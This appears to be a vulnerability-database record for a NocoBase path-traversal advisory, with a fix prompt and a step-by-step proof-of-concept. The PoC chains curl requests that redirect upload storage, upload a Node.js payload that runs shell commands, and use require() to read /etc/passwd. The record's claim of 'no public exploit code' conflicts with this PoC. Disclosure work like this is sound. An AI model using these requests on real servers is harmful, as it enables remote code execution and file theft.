{"answers":{"affected":"2 open source packages ship an affected version, including @nocobase/server.","exploited":"There is no known exploitation of GHSA-ghvf-qf6h-g8x5 in the wild and no public exploit code.","fix":"Upgrade @nocobase/server to 2.1.5 or later.","what":"GHSA-ghvf-qf6h-g8x5 is a path traversal vulnerability in @nocobase/server, published on 20 Aug 2026. An attacker needs administrator access to exploit it, with no action from the victim."},"fix_prompt":"Check this codebase for GHSA-ghvf-qf6h-g8x5 and fix it if it is affected.\n\nWhat it is: GHSA-ghvf-qf6h-g8x5 is a path traversal vulnerability in @nocobase/server, published on 20 Aug 2026. An attacker needs administrator access to exploit it, with no action from the victim.\nExploitation: There is no known exploitation of GHSA-ghvf-qf6h-g8x5 in the wild and no public exploit code.\n\nAffected packages and fixed versions:\n- @nocobase/server (npm): affected all versions; fixed in 2.1.5\n- @nocobase/server (npm): affected all versions; fixed in 2.1.5\n\nTask:\n1. Search the dependency manifests and lockfiles (for example package.json, package-lock.json, requirements.txt, poetry.lock, uv.lock, pom.xml, build.gradle, go.mod, Cargo.lock, Gemfile.lock) and any Dockerfiles for the affected packages, including transitive dependencies.\n2. If an affected version is in use, upgrade it to the fixed version for its release line with the project's package manager, so the lockfile is regenerated. Prefer the smallest upgrade that fixes it.\n3. If there is no fix, or the upgrade would break the build, do not guess: explain the risk and the safest workaround instead.\n4. Run the tests and summarise what changed and why.\n5. If nothing in the project is affected, say so and change nothing.\n\nReference: https://insights.sbomify.com/GHSA-ghvf-qf6h-g8x5/ (Markdown: https://insights.sbomify.com/GHSA-ghvf-qf6h-g8x5/index.md)","id":"GHSA-ghvf-qf6h-g8x5","markdown":"https://insights.sbomify.com/GHSA-ghvf-qf6h-g8x5/index.md","name":"GHSA-ghvf-qf6h-g8x5","record":{"aliases":[],"analysis":{"component_type":"web_application","fix_type":"patch","impacts":["code_execution"],"network_reachable":"yes","non_default_config":false,"product_category":"NocoBase low-code platform","requires_auth":"high_privilege","summary":"An authenticated admin can achieve remote code execution by chaining arbitrary file write with local file inclusion in NocoBase.","user_interaction":"not_required","vuln_class":"path_traversal"},"analysis_generated_by":"qwen3.8-flash-next","assigner":null,"cpe":[],"cvss":{"score":null,"severity":null,"source":null,"vector":null,"version":null},"cwes":[],"description":"## Executive Summary\n\nTwo vulnerabilities were identified and chained to achieve authenticated remote code execution\n\nThe first vulnerability allows any authenticated admin to redirect the file upload storage root to an arbitrary path on disk  including the application directory itself  by supplying an unsanitized `documentRoot` value to the `storages:update` API. The second vulnerability allows the same admin to trigger Node.js `require()` on any absolute filesystem path via the `pm:enable` plugin manager endpoint, which accepts user-supplied paths with no validation (Local File Inclusion).\n\nChained together, these two flaws allow an attacker with admin credentials to write a malicious file and have it trigger on the system achieving remote code execution.\n\nA working proof-of-concept exploit chain was developed and verified, requiring only a valid admin session token.\n\n## VULN 1: Arbitrary File Write via `storages:update` documentRoot Manipulation\n\n### Summary\n\nThe file-manager plugin's storage update endpoint accepts an arbitrary `documentRoot` value without validation. An authenticated admin can overwrite a storage record's `documentRoot` to any absolute path on the filesystem, then upload files that land anywhere the Node.js process (root in default Docker deployments) can write  including the web root, the application source directory, or system paths.\n\n### Vulnerable Components\n\n`packages/plugins/@nocobase/plugin-file-manager/src/server/storages/local.ts` | `getDocumentRoot()` L24–27 |\n`packages/plugins/@nocobase/plugin-file-manager/src/server/actions/attachments.ts` | `createMiddleware()` \nServer route: `POST /api/storages:update` \nServer route: `POST /api/attachments:upload` \n\n### Root Cause\n\n`getDocumentRoot()` resolves the `documentRoot` field from the storage record:\n\n```javascript\n// packages/plugins/@nocobase/plugin-file-manager/src/server/storages/local.ts\nconst { documentRoot = process.env.LOCAL_STORAGE_DEST || path.join(process.cwd(), 'storage', 'uploads') } =\n  this.storage.options || {};\n\nreturn path.resolve(path.isAbsolute(documentRoot) ? documentRoot : path.join(process.cwd(), documentRoot));\n```\n\n`resolveSafePath()` is called during file upload to prevent filename traversal, but it uses the already-resolved (attacker-controlled) `documentRoot` as its safe root. There is **no validation on the `documentRoot` value itself** at creation or update time. An admin can set `documentRoot` to any path (`/`, `/etc`, `/var/www/html`, the app root) and the upload will write there.\n\nThe creation endpoint (`storages:create`) also accepts arbitrary `documentRoot`, but the **update endpoint is worse**: it silently replaces the root on an existing (potentially already-default) storage, bypassing any frontend guards.\n\n### Steps to Reproduce\n\n**Prerequisites:** Admin session token.\n\n**Step 1  Get the local storage ID:**\n\n```bash\ncurl -s \"http://192.168.228.130:13000/api/storages\" \\\n  -H \"Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VySWQiOjEsInRlbXAiOnRydWUsImlhdCI6MTc3OTgzMTc1NCwic2lnbkluVGltZSI6MTc3OTgzMTc1NDE3MSwiZXhwIjoxNzc5OTE4MTU0LCJqdGkiOiJlZTJhMTU5Zi04MmE1LTQxZDctOTgyMC02ODlmOTM1Yjk2NWQifQ.Q_4m87ZDKI4bDW6QejoHYveGPNCaxzDJN-N_0B_pAfI\"\n```\n\nStorage ID on this target: `366584416632832`\n\n**Step 2  Create the RCE payload:**\n\n```bash\ncat \u003e /tmp/rce_proof.js \u003c\u003c 'EOF'\nconst { execSync } = require('child_process');\nconst fs = require('fs');\nconst out = execSync('id; whoami; hostname').toString();\nfs.writeFileSync('/home/spooky/nocobase/storage/uploads/out.txt', out);\nmodule.exports = {};\nEOF\n\n```\n**Step 3  Redirect storage documentRoot to app CWD:**\n\n```bash\ncurl -s -X POST \"http://192.168.228.130:13000/api/storages:update?filterByTk=366584416632832\" \\\n  -H \"Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VySWQiOjEsInRlbXAiOnRydWUsImlhdCI6MTc3OTgzMTc1NCwic2lnbkluVGltZSI6MTc3OTgzMTc1NDE3MSwiZXhwIjoxNzc5OTE4MTU0LCJqdGkiOiJlZTJhMTU5Zi04MmE1LTQxZDctOTgyMC02ODlmOTM1Yjk2NWQifQ.Q_4m87ZDKI4bDW6QejoHYveGPNCaxzDJN-N_0B_pAfI\" \\\n  -H \"Content-Type: application/json\" \\\n  -d '{\"options\":{\"documentRoot\":\".\"},\"default\":true}'\n```\n\u003cimg width=\"826\" height=\"304\" alt=\"image\" src=\"https://github.com/user-attachments/assets/808bf5cf-f6cc-4df6-9d94-b84cff1dcd66\" /\u003e\n\n**Step 4  upload the RCE payload:**\n\nThe payload writes output to the NocoBase uploads directory, which is served statically on port 13000\n\n```bash\ncurl -s -X POST \"http://192.168.228.130:13000/api/attachments:upload\" \\\n  -H \"Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VySWQiOjEsInRlbXAiOnRydWUsImlhdCI6MTc3OTgzMTc1NCwic2lnbkluVGltZSI6MTc3OTgzMTc1NDE3MSwiZXhwIjoxNzc5OTE4MTU0LCJqdGkiOiJlZTJhMTU5Zi04MmE1LTQxZDctOTgyMC02ODlmOTM1Yjk2NWQifQ.Q_4m87ZDKI4bDW6QejoHYveGPNCaxzDJN-N_0B_pAfI\" \\\n  -F \"file=@/tmp/rce_proof.js;filename=rce_proof.js;type=application/javascript\"\n```\n\n\u003cimg width=\"826\" height=\"322\" alt=\"image\" src=\"https://github.com/user-attachments/assets/146492ff-7eeb-4742-a13d-6bb3f9e0cd72\" /\u003e\n\n**Now that the file is uploaded successfully we can trigger the RCE with the LFI shown below**\n\n## VULN 2: Error-Based Local File Inclusion via `pm:enable` Unsanitized `requireModule()` Call\n\n### Overview\n`pm:enable` passes `filterByTk` directly to `require()` with no path validation. This is a standalone LFI primitive with two modes:\n\n- **Non-JS files** (e.g. `/etc/passwd`): Node.js parses them as JavaScript, fails with a `SyntaxError` that embeds the file content in the error message. That error is written to `system_error_YYYY-MM-DD.log` and is downloadable via `logger:download` giving an attacker blind/error-based file read.\n- **JS files** (e.g. an attacker-uploaded payload): the file executes as Node.js code in the server process  RCE. This is the second stage of the chain with VULN-01.\n\n### Root Cause\n\nThe `enable` action takes `filterByTk` from query params and passes it directly to the CLI runner with zero validation:\n\n```typescript\n// packages/core/server/src/plugin-manager/options/resource.ts  L141-151\nasync enable(ctx, next) {\n  const { filterByTk } = ctx.action.params;   // ← raw user input\n  if (!filterByTk) {\n    ctx.throw(400, 'plugin name invalid');\n  }\n  const keys = Array.isArray(filterByTk) ? filterByTk : [filterByTk];\n  app.runAsCLI(['pm', 'enable', ...keys], { from: 'user' });  // ← no sanitization\n  ctx.body = filterByTk;\n  await next();\n},\n```\n\nThe CLI handler calls `requireModule(key)`:\n\n```typescript\n// packages/core/utils/src/requireModule.ts\nexport function requireModule(m: any) {\n  if (typeof m === 'string') {\n    m = require(m);   // ← arbitrary file executed as Node.js module\n  }\n  if (typeof m !== 'object') { return m; }\n  return m.__esModule ? m.default : m;\n}\n```\n\n`assertSafePluginPackageName()` exists in the codebase (validates against absolute paths and `..`) but is **never invoked** in the HTTP action path — only in storage directory helpers. The HTTP handler goes straight from user input → `require()`.\n\n### Steps to Reproduce Error-Based File Read (Standalone)\n\n**Step 1  Trigger require() on any file:**\n\n```bash\ncurl -s \"http://TARGET:13000/api/pm:enable?filterByTk=/etc/passwd\" \\\n  -H \"Authorization: Bearer TOKEN\"\n# Response: {\"data\":\"/etc/passwd\"} — 200 OK\n```\nNode.js attempts to parse `/etc/passwd` as a JavaScript module. It fails at the first `:` character with:\n\n\u003cimg width=\"2064\" height=\"530\" alt=\"image\" src=\"https://github.com/user-attachments/assets/6aca1e88-a1c6-466a-8061-a0f3f7fbd4f8\" /\u003e\n\nand we see the error message after sending the request:\n\n\u003cimg width=\"1036\" height=\"380\" alt=\"image\" src=\"https://github.com/user-attachments/assets/b8ddbf38-7de0-47ba-aa56-39ac4f2de400\" /\u003e\n\n**Step 2 navigate to the logger and download the system error log**\n\n\u003cimg width=\"1142\" height=\"720\" alt=\"image\" src=\"https://github.com/user-attachments/assets/84103a14-99a6-4db0-bf86-35d5d09f730d\" /\u003e\n\nnow when we extract the .tar file we can see proof of local file inclusion (partial in this response):\n\n\u003cimg width=\"1264\" height=\"268\" alt=\"i","ecosystems":["npm"],"exploits":{"exploitdb":null,"first_seen":null,"github_poc":null,"max_poc_stars":null,"metasploit":null,"nuclei":null,"refs":[],"tier":null},"has_fix":true,"headline":"NocoBase: Arbitrary File Write chained with Local file Inclusion leads to Remote code execution","id":"GHSA-ghvf-qf6h-g8x5","indexable":true,"kev":null,"kind":"advisory","links":{"ecosystem":"npm","product":null,"products":[],"type":"path_traversal","year":"2026"},"n_packages":2,"n_references":null,"packages":[{"ecosystem":"npm","fixed":["2.1.5"],"introduced":["0"],"last_affected":[],"package":"@nocobase/server","purl":null,"source":"GHSA-ghvf-qf6h-g8x5"},{"ecosystem":"npm","fixed":["2.1.5"],"introduced":["0"],"last_affected":[],"package":"@nocobase/server","purl":"pkg:npm/%40nocobase/server","source":"GHSA-ghvf-qf6h-g8x5"}],"products":null,"published":"2026-08-20","related":[],"sources":[{"class":"attribution","licence":"CC BY 4.0","name":"GitHub Advisory Database","prefix":"GHSA"}],"ssvc":{"automatable":null,"exploitation":null,"technical_impact":null},"state":null,"updated":null,"vendors":null},"summary":"An authenticated admin can achieve remote code execution by chaining arbitrary file write with local file inclusion in NocoBase.","url":"https://insights.sbomify.com/GHSA-ghvf-qf6h-g8x5/"}